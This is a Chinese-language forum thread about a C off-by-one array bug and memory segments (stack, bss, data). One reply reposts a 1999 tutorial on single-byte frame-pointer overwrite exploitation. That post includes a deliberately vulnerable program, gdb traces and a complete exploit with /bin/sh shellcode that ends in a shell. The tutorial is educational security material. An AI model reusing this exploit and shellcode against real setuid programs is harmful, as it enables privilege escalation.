免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: greensky_34
打印 上一主题 下一主题

还是C经典错误!!! [复制链接]

论坛徽章:
0
11 [报告]
发表于 2006-11-15 20:05 |只看该作者
[quote]原帖由 [i]aero[/i] 于 2006-11-15 19:58 发表


temp,没temp啊。^_^。

i总是会在a的高地址的。这就是栈的结构。

一般的编译器都会在i和a之间留有空间。

“理想”的编译器就不加空隙。 [/quote]

我晕了,竟然自己写一份,然后照着自己写的讨论

int main(int argc, char **argv)
{
        int i = 5;
        int temp[10];

        for(i=0; i<=10; i++) {
                temp[i] = 0;
        }

        return 0;
}

那未初始化数据区,和栈有什么分别吗?

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
12 [报告]
发表于 2006-11-15 20:17 |只看该作者
原帖由 langue 于 2006-11-15 20:05 发表


我晕了,竟然自己写一份,然后照着自己写的讨论

int main(int argc, char **argv)
{
        int i = 5;
        int temp[10];

        for(i=0; i<=10; i++) {
                temp[i ...


变量存放的位置有好多。

^_^,严格的划分我也不是很清楚。

普通函数中的变量,是在栈上,同函数一同生成和消亡。

函数中的static变量和全局变量,是在静态存储区,同进程一同生成和消亡。存在访问控制的差别。

静态存储区的变量,如果定义的时候初始化了,就在bss区(好像是啊,不sure,^_^)。所以可执行文件就大。
如果没初始化就在数据区。

数据区上面是堆空间,malloc等得到的空间。堆上面就是前面说的栈了。^_^。

论坛徽章:
0
13 [报告]
发表于 2006-11-15 20:36 |只看该作者
谢谢

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
14 [报告]
发表于 2006-11-15 20:42 |只看该作者
原帖由 langue 于 2006-11-15 20:36 发表
谢谢


my pleasure.

论坛徽章:
0
15 [报告]
发表于 2006-11-15 21:56 |只看该作者
原帖由 aero 于 2006-11-15 20:17 发表


静态存储区的变量,如果定义的时候初始化了,就在bss区(好像是啊,不sure,^_^)。所以可执行文件就大。
如果没初始化就在数据区。 ...



和你说的刚好相反,初始化变量放在data,未初始化在 bss

论坛徽章:
0
16 [报告]
发表于 2006-11-15 22:01 |只看该作者
谢谢。我已经找到了:

In computer programming, .bss or bss is used by many compilers and linkers as the name of the data segment containing uninitialized variables. It is often referred to as the "bss section" or "bss segment".

A data segment is one of the sections of a program in an object file or in memory, which contains the global variables that are initialized by the programmer. It has a fixed size, since all of the data in this section is set by the programmer before the program is loaded. However, it is not read-only, since the values of the variables can be altered at runtime. This is in contrast to the Rodata (constant, read-only data) section, as well as the text segment.

In computing, a code segment, also known as a text segment or simply as text, is a phrase used to refer to a portion of memory or of an object file that contains executable computer instructions. It has a fixed size and is usually read-only. If the text section is not read-only, then the particular architecture allows self-modifying code. Read-only code is reentrant if it can be executed by more than one process at the same time.

---

Stacks in computing architectures are regions of memory where data is added or removed in a Last-In-First-Out manner.

In heap-based memory allocation, memory is allocated from a large pool of unused memory area called the heap (also called the free store). "The heap" has nothing to do with the heap data structure. The size of the memory allocation can be determined at run-time, and the lifetime of the allocation is not dependent on the current procedure or stack frame. The region of allocated memory is accessed indirectly, usually via a reference. The precise algorithm used to organize the memory area and allocate and deallocate chunks is hidden behind an abstract interface and may use any of the methods described above.

In contrast, the call stack memory is usually of limited size and the lifetime of the allocation depends on the duration of the corresponding functions.

[ 本帖最后由 langue 于 2006-11-15 22:04 编辑 ]

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
17 [报告]
发表于 2006-11-15 22:21 |只看该作者
原帖由 mik 于 2006-11-15 21:56 发表



和你说的刚好相反,初始化变量放在data,未初始化在 bss


哈哈,多谢。

论坛徽章:
0
18 [报告]
发表于 2006-11-16 04:12 |只看该作者
我觉得应该和操作系统的内存管理有关

论坛徽章:
0
19 [报告]
发表于 2006-11-16 13:24 |只看该作者

回复 1楼 greensky_34 的帖子

作者:backend
主页:[url]http://www.nsfocus.com[/url]
日期:1999-11-15

◆单字节缓冲区溢出 (作者:backend)

    通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容,来使程序跳转到我们的shellcode
处去执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议,其实还是很有可能的,下面我们就来看看这是如何实现的。


我们先写一个有弱点的程序,它只能被溢出一个字节。


ipdev:~/tests$ cat > suid.c
#include

func(char *sm)
{
          char buffer[256];
           int i;
           for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
                   buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
           if (argc < 2) {
                   printf("missing args\n");
                   exit(-1);
           }
            func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$

我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:


    ipdev:~/tests$ gdb ./suid
    ...
    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158
    0x8048154 :    jmp    0x804817c
    0x8048156 :    leal   (%esi),%esi
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp
    0x804817f :    ret
    End of assembler dump.
    (gdb)
当call指令被调用时,进程会首先将%eip(下一条要执行的指令的地址)压入堆栈。
然后将%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中,接着为局部变量分配空间:%esp减小0x104字节(256+4)。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前,我们的
堆栈中的情况如下:

          栈顶(低地址)
         
    |---------|   
    |    i    |        4字节
    |---------|\
    | buff[0] |  \
    |---------|   |
    | buff[1] |   |
    |---------|   |--> 256字节
    | ....... |   |
    |---------|   |
    |buff[255]|  /   
    |---------|/     
    |保存的ebp|        4字节  
    |---------|
    |保存的eip|        4字节
    |---------|
   
     栈底(高地址)
   
这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆栈),
如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。当func()
将要结束时,%ebp被从堆栈中恢复。(见)让我们再看看接下来发生了什么:
(还是利用gdb来反汇编main())

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 : pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb)


当func()调用结束后,%ebp将会被拷贝到%esp中(见),这意味着我们可以
改变%esp到其他的值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 : pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb) break *0x80481b4
    Breakpoint 2 at 0x80481b4
    (gdb) run `perl -e 'print "A"x257'`
    Starting program: /home/klog/tests/suid `overflow 257`

    Breakpoint 2, 0x80481b4 in main ()
    (gdb) info register esp
    esp            0xbffffd45       0xbffffd45
    (gdb)

在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节)。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41

很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中的
%esp的值.当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作:

    [nops][shellcode][&shellcode][改变%ebp的字节]

这样当溢出发生时堆栈中的情况就是这样的:

          栈顶(低地址)
         
    |---------|   
    |    i    |        4字节
    |---------|\
    | 0x90    |  \
    |---------|   |
    | 0x90    |   |
    |---------|   |--> 256字节
    | ....... |   |
    |---------|   |
    |shellcode|   |
    | ....... |   |
    |---------|   |
    |跳转地址 |  /   
    |---------|/     
    |保存的ebp|        4字节(最低的一个字节被覆盖)
    |---------|
    |保存的eip|        4字节
    |---------|
   
     栈底(高地址)

我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
中,从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。

    ipdev:~/tests$ cat > fake_exp.c
    #include
    #include

    main()
    {
            int i;
            char buffer[1024];
   
            bzero(&buffer, 1024);
            for (i=0;i<=256;i++)   
            {
                    buffer[i] = 'A';
            }
            execl("./suid", "suid", buffer, NULL);
    }
    ^D
    ipdev:~/tests$ gcc fake_exp.c -o fake_exp
    ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
    ...
    (gdb) run
    Starting program: /home/klog/tests/exp2

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x8048090 in ___crt_dummy__ ()
    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158
    0x8048154 :    jmp    0x804817c
    0x8048156 :    leal   (%esi),%esi
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp
    0x804817f :    ret
    End of assembler dump.
    (gdb) break *0x804813d
    Breakpoint 1 at 0x804813d
    (gdb) c
    Continuing.

    Breakpoint 1, 0x804813d in func ()
    (gdb) info register esp
    esp            0xbffffc60       0xbffffc60
    (gdb)

从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
小)-0x04(跳转地址大小)=0xbffffd60处。

有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节(
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址,只要是NOP指令之间的某个地址即可。
(就象通常的溢出程序一样)即:0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.

    ipdev:~/tests$ cat > exp.c
    #include
    #include

    char sc_linux[] =
            "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
            "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
            "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
            "\xd7\xff\xff\xff/bin/sh";

    main()
    {
            int i, j;
            char buffer[1024];

            bzero(&buffer, 1024);
            for (i=0;i<=(252-sizeof(sc_linux));i++)
            {
                    buffer[i] = 0x90;
            }
            for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
            {
                    buffer[i] = sc_linux[j];
            }
            buffer[i++] = 0x74; //
               buffer[i++] = 0xfc; //  跳转地址
            buffer[i++] = 0xff; //
            buffer[i++] = 0xbf; //
            buffer[i++] = 0x5c; // 用来覆盖%ebp的字节

            execl("./suid", "suid", buffer, NULL);

    }
    ^D
    ipdev:~/tests$ gcc exp.c -o exp
    ipdev:~/tests$ ./exp
    bash$

成功了!现在让我们仔细的看一下到底发生了些什么。


    ipdev:~/tests$ gdb --exec=exp --symbols=suid
    ...
    (gdb) run
    Starting program: /home/klog/tests/exp

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x8048090 in ___crt_dummy__ ()
    (gdb)

我们先来设置几个断点来观察被覆盖的栈帧指针的值。

    (gdb) disassemble func
    Dump of assembler code for function func:
    0x8048134 :       pushl  %ebp
    0x8048135 :     movl   %esp,%ebp
    0x8048137 :     subl   $0x104,%esp
    0x804813d :     nop
    0x804813e :    movl   $0x0,0xfffffefc(%ebp)
    0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
    0x8048152 :    jle    0x8048158
    0x8048154 :    jmp    0x804817c
    0x8048156 :    leal   (%esi),%esi   
    0x8048158 :    leal   0xffffff00(%ebp),%edx
    0x804815e :    movl   %edx,%eax
    0x8048160 :    addl   0xfffffefc(%ebp),%eax
    0x8048166 :    movl   0x8(%ebp),%edx
    0x8048169 :    addl   0xfffffefc(%ebp),%edx
    0x804816f :    movb   (%edx),%cl
    0x8048171 :    movb   %cl,(%eax)
    0x8048173 :    incl   0xfffffefc(%ebp)
    0x8048179 :    jmp    0x8048148
    0x804817b :    nop
    0x804817c :    movl   %ebp,%esp
    0x804817e :    popl   %ebp
    0x804817f :    ret
    End of assembler dump.
    (gdb) break *0x804817e
    Breakpoint 1 at 0x804817e
    (gdb) break *0x804817f
    Breakpoint 2 at 0x804817f
    (gdb)

上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8048180 :  pushl  %ebp
    0x8048181 :     movl   %esp,%ebp
    0x8048183 :     cmpl   $0x1,0x8(%ebp)
    0x8048187 :     jg     0x80481a0
    0x8048189 :     pushl  $0x8058ad8
    0x804818e :    call   0x80481b8 <_IO_printf>
    0x8048193 :    addl   $0x4,%esp
    0x8048196 :    pushl  $0xffffffff
    0x8048198 :    call   0x804d598
    0x804819d :    addl   $0x4,%esp
    0x80481a0 :    movl   0xc(%ebp),%eax
    0x80481a3 :    addl   $0x4,%eax
    0x80481a6 :    movl   (%eax),%edx
    0x80481a8 :    pushl  %edx
    0x80481a9 :    call   0x8048134
    0x80481ae :    addl   $0x4,%esp
    0x80481b1 :    movl   %ebp,%esp
    0x80481b3 :    popl   %ebp
    0x80481b4 :    ret
    0x80481b5 :    nop
    0x80481b6 :    nop
    0x80481b7 :    nop
    End of assembler dump.
    (gdb) break *0x80481b3
    Breakpoint 3 at 0x80481b3
    (gdb) break *0x80481b4
    Breakpoint 4 at 0x80481b4
    (gdb)

上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序:

    (gdb) c
    Continuing.

    Breakpoint 1, 0x804817e in func ()
    (gdb) info reg ebp
    ebp            0xbffffd64       0xbffffd64

这是%ebp的原来的内容
   
    (gdb) c
    Continuing.

    Breakpoint 2, 0x804817f in func ()
    (gdb) info reg ebp
    ebp            0xbffffd5c       0xbffffd5c

溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
   
    (gdb) c
    Continuing.

    Breakpoint 3, 0x80481b3 in main ()
    (gdb) info reg esp
    esp            0xbffffd5c       0xbffffd5c
    (gdb) c
    Continuing.

此时%esp指向0xbffffd5c

    Breakpoint 4, 0x80481b4 in main ()
    (gdb) info reg esp
    esp            0xbffffd60       0xbffffd60

弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置
   
    (gdb)

看一下此时堆栈中的情况:

    (gdb) x 0xbffffd60
    0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
   
这里确实存放着我们的跳转地址   

    (gdb) x/10 0xbffffc74
    0xbffffc74 <__collate_table+3086618856>:        0x90909090      
    0x90909090    0x90909090       0x90909090
    0xbffffc84 <__collate_table+3086618872>:        0x90909090      
    0x90909090    0x90909090       0x90909090
    0xbffffc94 <__collate_table+3086618888>:        0x90909090      
    0x90909090
    (gdb)
   
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。


    (gdb) c
    Continuing.

    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x40000990 in ?? ()
    (gdb) c
    Continuing.
    bash$
   
下面的简图大致描述了%ebp与%esp的变化。
      
      func()中,返回前         main()中              main()中              main()中

          栈顶(低地址)       addl $0x4,%esp        movl %ebp,%esp        popl %ebp
         
0xbffffc60|----------|         |----------|          |--------|          |----------|
       |    i     |         |    i     |          |    i     |          |    i     |
0xbffffc64|----------|         |----------|          |----------|          |----------|
       | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
          |----------|         |----------|          |----------|          |----------|
       | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
       |----------|         |----------|          |----------|          |----------|
  ----->  | .......  |         | .......  |          | .......  |          | .......  |
|        |----------|         |----------|          |----------|          |----------|
|        |shellcode |         |shellcode |          |shellcode |          |shellcode |
|        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... |
0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------|
|-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
0xbffffd64|----------|         |----------|          |----------|          |----------|
保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c|
  %esp--->|----------|         |----------|          |----------|          |----------|
       |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip |
       |----------|  %esp-->|----------|          |----------|          |----------|
                  
       %esp=0xbffffd68      %esp=0xbffffd6c        %esp=0xbffffd5c      %esp=0xbffffd60  
       %ebp=0xbffffd5c      %ebp=0xbffffd5c        %ebp=0xbffffd5c      %ebp=0xxxxxxxxx
                  
结束语:            
                  
这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统,%ebp在内存中的顺序是
高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证我们的程序可以
跳到那个地址去执行...
                  
尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)


参考文献:
[1] <>55-08 [  The Frame Pointer Overwrite  ] by klog
[2] <>49    [  Smashing The Stack For Fun And Profit ] by Aleph1

[[i] 本帖最后由 hotjuly 于 2006-11-16 15:58 编辑 [/i]]

论坛徽章:
0
20 [报告]
发表于 2006-11-16 14:54 |只看该作者
原帖由 greensky_34 于 2006-11-15 02:25 发表
看到《C陷阱与缺陷》上讲的

[code]#include <stdio.h>

int main (int argc, char *argv[]){
        int i = 5;
        int a[10];

        for(i=0; i<=10; i++){
                a = 0;
        }
        return 0;
}
[/co ...

数组越界了,应改为
for(i = 0; i < 10; i++){
还有
int i = 5;
啥意思?这个初始化没用的。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP